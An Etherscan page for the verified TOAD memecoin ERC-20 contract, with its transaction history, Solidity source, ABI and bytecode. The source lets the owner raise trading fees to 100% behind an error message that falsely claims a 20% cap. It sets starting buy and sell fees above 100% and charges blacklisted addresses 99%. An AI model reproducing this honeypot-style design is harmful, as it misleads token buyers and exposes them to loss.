ETH Price: $3,895.48 (-0.64%)

Contract

0xa18a8D2886a32e773fbD5F2798fF32127dB2eA2F
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve201942762024-06-29 2:11:35169 days ago1719627095IN
0xa18a8D28...27dB2eA2F
0 ETH0.000077691.67002932
Transfer199102982024-05-20 9:39:23208 days ago1716197963IN
0xa18a8D28...27dB2eA2F
0 ETH0.000340794.35753722
Approve186882052023-12-01 1:11:47380 days ago1701393107IN
0xa18a8D28...27dB2eA2F
0 ETH0.0016262134.9566672
Approve184234072023-10-24 23:31:35417 days ago1698190295IN
0xa18a8D28...27dB2eA2F
0 ETH0.0006067224.97137752
Approve183812762023-10-19 2:02:11423 days ago1697680931IN
0xa18a8D28...27dB2eA2F
0 ETH0.000318256.84102813
Approve181877252023-09-22 0:08:47450 days ago1695341327IN
0xa18a8D28...27dB2eA2F
0 ETH0.00042789.19600404
Approve181734502023-09-20 0:11:59452 days ago1695168719IN
0xa18a8D28...27dB2eA2F
0 ETH0.000230879.5021047
Transfer181125612023-09-11 10:37:23460 days ago1694428643IN
0xa18a8D28...27dB2eA2F
0 ETH0.0010184313.02009711
Approve180744832023-09-06 2:37:11466 days ago1693967831IN
0xa18a8D28...27dB2eA2F
0 ETH0.0005831512.61663101
Approve180262672023-08-30 8:36:23472 days ago1693384583IN
0xa18a8D28...27dB2eA2F
0 ETH0.0010644623
Approve180257252023-08-30 6:47:11472 days ago1693378031IN
0xa18a8D28...27dB2eA2F
0 ETH0.000814317.50409741
Approve180241752023-08-30 1:34:35473 days ago1693359275IN
0xa18a8D28...27dB2eA2F
0 ETH0.0009470720.35806834
Approve180241352023-08-30 1:26:35473 days ago1693358795IN
0xa18a8D28...27dB2eA2F
0 ETH0.0009753320.93854303
Approve180241102023-08-30 1:21:35473 days ago1693358495IN
0xa18a8D28...27dB2eA2F
0 ETH0.0008736618.75574166
Approve180241072023-08-30 1:20:59473 days ago1693358459IN
0xa18a8D28...27dB2eA2F
0 ETH0.0008482918.34817822
Approve180240772023-08-30 1:14:59473 days ago1693358099IN
0xa18a8D28...27dB2eA2F
0 ETH0.0009274220.06492568
Transfer180240722023-08-30 1:13:59473 days ago1693358039IN
0xa18a8D28...27dB2eA2F
0 ETH0.0012972819.71412681
Approve180239282023-08-30 0:45:11473 days ago1693356311IN
0xa18a8D28...27dB2eA2F
0 ETH0.0009053719.46173703
Approve180239162023-08-30 0:42:47473 days ago1693356167IN
0xa18a8D28...27dB2eA2F
0 ETH0.0008155117.53010057
Approve180237862023-08-30 0:16:35473 days ago1693354595IN
0xa18a8D28...27dB2eA2F
0 ETH0.0009206419.76428553
Approve180237132023-08-30 0:01:59473 days ago1693353719IN
0xa18a8D28...27dB2eA2F
0 ETH0.0009521320.59416923
Approve180236982023-08-29 23:58:59473 days ago1693353539IN
0xa18a8D28...27dB2eA2F
0 ETH0.0005416518.6000898
Approve180236932023-08-29 23:57:59473 days ago1693353479IN
0xa18a8D28...27dB2eA2F
0 ETH0.000849718.35960293
Approve180236922023-08-29 23:57:47473 days ago1693353467IN
0xa18a8D28...27dB2eA2F
0 ETH0.0010022121.51548211
Approve180236902023-08-29 23:57:23473 days ago1693353443IN
0xa18a8D28...27dB2eA2F
0 ETH0.0008921219.27632905
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
180250692023-08-30 4:34:23473 days ago1693370063
0xa18a8D28...27dB2eA2F
0.00021841 ETH
180250692023-08-30 4:34:23473 days ago1693370063
0xa18a8D28...27dB2eA2F
0.02184121 ETH
180250692023-08-30 4:34:23473 days ago1693370063
0xa18a8D28...27dB2eA2F
0.02205963 ETH
180235762023-08-29 23:34:35473 days ago1693352075
0xa18a8D28...27dB2eA2F
0.00072101 ETH
180235762023-08-29 23:34:35473 days ago1693352075
0xa18a8D28...27dB2eA2F
0.07210104 ETH
180235762023-08-29 23:34:35473 days ago1693352075
0xa18a8D28...27dB2eA2F
0.07282206 ETH
180232852023-08-29 22:35:47473 days ago1693348547
0xa18a8D28...27dB2eA2F
0.00436043 ETH
180232852023-08-29 22:35:47473 days ago1693348547
0xa18a8D28...27dB2eA2F
0.43604389 ETH
180232852023-08-29 22:35:47473 days ago1693348547
0xa18a8D28...27dB2eA2F
0.44040433 ETH
180231582023-08-29 22:09:35473 days ago1693346975
0xa18a8D28...27dB2eA2F
0.00592821 ETH
180231582023-08-29 22:09:35473 days ago1693346975
0xa18a8D28...27dB2eA2F
0.59282144 ETH
180231582023-08-29 22:09:35473 days ago1693346975
0xa18a8D28...27dB2eA2F
0.59874965 ETH
180231552023-08-29 22:08:59473 days ago1693346939
0xa18a8D28...27dB2eA2F
0.00583004 ETH
180231552023-08-29 22:08:59473 days ago1693346939
0xa18a8D28...27dB2eA2F
0.58300403 ETH
180231552023-08-29 22:08:59473 days ago1693346939
0xa18a8D28...27dB2eA2F
0.58883407 ETH
180231542023-08-29 22:08:47473 days ago1693346927
0xa18a8D28...27dB2eA2F
0.00702656 ETH
180231542023-08-29 22:08:47473 days ago1693346927
0xa18a8D28...27dB2eA2F
0.7026567 ETH
180231542023-08-29 22:08:47473 days ago1693346927
0xa18a8D28...27dB2eA2F
0.70968327 ETH
180231522023-08-29 22:08:23473 days ago1693346903
0xa18a8D28...27dB2eA2F
0.0041669 ETH
180231522023-08-29 22:08:23473 days ago1693346903
0xa18a8D28...27dB2eA2F
0.41669086 ETH
180231522023-08-29 22:08:23473 days ago1693346903
0xa18a8D28...27dB2eA2F
0.42085777 ETH
180231512023-08-29 22:08:11473 days ago1693346891
0xa18a8D28...27dB2eA2F
0.00294948 ETH
180231512023-08-29 22:08:11473 days ago1693346891
0xa18a8D28...27dB2eA2F
0.29494824 ETH
180231512023-08-29 22:08:11473 days ago1693346891
0xa18a8D28...27dB2eA2F
0.29789772 ETH
180231502023-08-29 22:07:59473 days ago1693346879
0xa18a8D28...27dB2eA2F
0.00306084 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TOAD

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-29
*/

//Some say frog better. We say TOAD better
// https://TOAD.BABY will lead you to our pond

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract TOAD is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'TOAD';
    string private constant _symbol = 'TOAD';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 420696969 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 100 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 200;
    uint256 private marketingFee = 500;
    uint256 private developmentFee = 500;
    uint256 private burnFee = 0;
    uint256 private totalFee = 12000;
    uint256 private sellFee = 12000;
    uint256 private transferFee = 3000;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0x49Fe18080FBCed6CAcc6768d3e1A640A9D4A00eA; 
    address internal marketing_receiver = 0x0da614E3fC4811bdd2e3938670ac2681667cAa7a;
    address internal liquidity_receiver = 0x0da614E3fC4811bdd2e3938670ac2681667cAa7a;
    uint256 public _maxTxAmount = ( _totalSupply * 150 ) / 10000;
    uint256 public _maxSellAmount = ( _totalSupply * 150 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 150 ) / 10000;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }

    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
    }

    function setisBot(address[] calldata addresses, bool _enabled) external onlyOwner {
        for(uint i=0; i < addresses.length; i++){
        isBot[addresses[i]] = _enabled; }
    }

    function manualSwap() external onlyOwner {
        uint256 amount = balanceOf(address(this));
        if(amount > swapThreshold){amount = swapThreshold;}
        swapAndLiquify(amount);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequirements","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004e5565b62000022906319135389620004fd565b60018181556007805461ffff60a01b1916600160a81b179055600a55620186a09062000051906103e8620004fd565b6200005d919062000517565b600b55620186a06001546064620000759190620004fd565b62000081919062000517565b600c5560c8600d556101f4600e819055600f556000601055612ee06011819055601255610bb86013556127106014819055601580546001600160a01b03199081167349fe18080fbced6cacc6768d3e1a640a9d4a00ea17909155601680548216730da614e3fc4811bdd2e3938670ac2681667caa7a9081179091556017805490921617905560015462000116906096620004fd565b62000122919062000517565b6018556127106001546096620001399190620004fd565b62000145919062000517565b60195561271060015460966200015c9190620004fd565b62000168919062000517565b601a553480156200017857600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa158015620001e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020691906200053a565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027a91906200053a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ee91906200053a565b600680546001600160a01b038581166001600160a01b031992831617909255600780548484169216919091179055306000908152600460209081526040808320805460ff19908116600190811790925560175486168552828520805482168317905560165486168552828520805482168317905560155490951684528184208054861682179055338085528285208054909616821790955554600283528184208190559051908152939450919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000565565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004275781600019048211156200040b576200040b620003d0565b808516156200041957918102915b93841c9390800290620003eb565b509250929050565b6000826200044057506001620004df565b816200044f57506000620004df565b8160018114620004685760028114620004735762000493565b6001915050620004df565b60ff841115620004875762000487620003d0565b50506001821b620004df565b5060208310610133831016604e8410600b8410161715620004b8575081810a620004df565b620004c48383620003e6565b8060001904821115620004db57620004db620003d0565b0290505b92915050565b6000620004f660ff8416836200042f565b9392505050565b8082028115828204841417620004df57620004df620003d0565b6000826200053557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200054d57600080fd5b81516001600160a01b0381168114620004f657600080fd5b611e3a80620005756000396000f3fe6080604052600436106101855760003560e01c80637cca52fe116100d15780639cc353511161008a578063a9059cbb11610064578063a9059cbb14610471578063cb7f97d714610491578063dd62ed3e146104b1578063f2fde38b146104f757600080fd5b80639cc35351146104115780639d8740cb14610431578063a8aa1b311461045157600080fd5b80637cca52fe146103735780637d1db4a514610389578063893d20e81461039f5780638cd4426d146103d15780639213c358146103f157806395d89b411461019157600080fd5b80632f54bf6e1161013e57806348ff2b8b1161011857806348ff2b8b146102f257806351bc3c851461031257806370a082311461032757806378109e541461035d57600080fd5b80632f54bf6e14610277578063313ce567146102a65780633f4218e0146102c257600080fd5b806306fdde0314610191578063095ea7b3146101cd57806318160ddd146101fd578063229b6a5e1461022057806323b872dd14610242578063293230b81461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201825260048152631513d05160e21b602082015290516101c49190611986565b60405180910390f35b3480156101d957600080fd5b506101ed6101e83660046119e9565b610517565b60405190151581526020016101c4565b34801561020957600080fd5b5061021261052e565b6040519081526020016101c4565b34801561022c57600080fd5b5061024061023b366004611a23565b61059f565b005b34801561024e57600080fd5b506101ed61025d366004611aa9565b610649565b34801561026e57600080fd5b506102406106b3565b34801561028357600080fd5b506101ed610292366004611aea565b6000546001600160a01b0391821691161490565b3480156102b257600080fd5b50604051600981526020016101c4565b3480156102ce57600080fd5b506101ed6102dd366004611aea565b60046020526000908152604090205460ff1681565b3480156102fe57600080fd5b5061024061030d366004611b07565b6106f2565b34801561031e57600080fd5b50610240610747565b34801561033357600080fd5b50610212610342366004611aea565b6001600160a01b031660009081526002602052604090205490565b34801561036957600080fd5b50610212601a5481565b34801561037f57600080fd5b5061021260195481565b34801561039557600080fd5b5061021260185481565b3480156103ab57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101c4565b3480156103dd57600080fd5b506102406103ec3660046119e9565b61079c565b3480156103fd57600080fd5b5061024061040c366004611b40565b6108c3565b34801561041d57600080fd5b5061024061042c366004611b80565b610969565b34801561043d57600080fd5b5061024061044c366004611b80565b610a9e565b34801561045d57600080fd5b506007546103b9906001600160a01b031681565b34801561047d57600080fd5b506101ed61048c3660046119e9565b610b04565b34801561049d57600080fd5b506102406104ac366004611bac565b610b11565b3480156104bd57600080fd5b506102126104cc366004611bf8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561050357600080fd5b50610240610512366004611aea565b610c08565b6000610524338484610c86565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261059a9290916105949190610daa565b90610daa565b905090565b6000546001600160a01b031633146105d25760405162461bcd60e51b81526004016105c990611c26565b60405180910390fd5b60005b828110156106435781600560008686858181106105f4576105f4611c46565b90506020020160208101906106099190611aea565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061063b81611c72565b9150506105d5565b50505050565b6000610656848484610db6565b6106a884336106a385604051806060016040528060288152602001611ddd602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611303565b610c86565b5060015b9392505050565b6000546001600160a01b031633146106dd5760405162461bcd60e51b81526004016105c990611c26565b6007805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016105c990611c26565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107715760405162461bcd60e51b8152600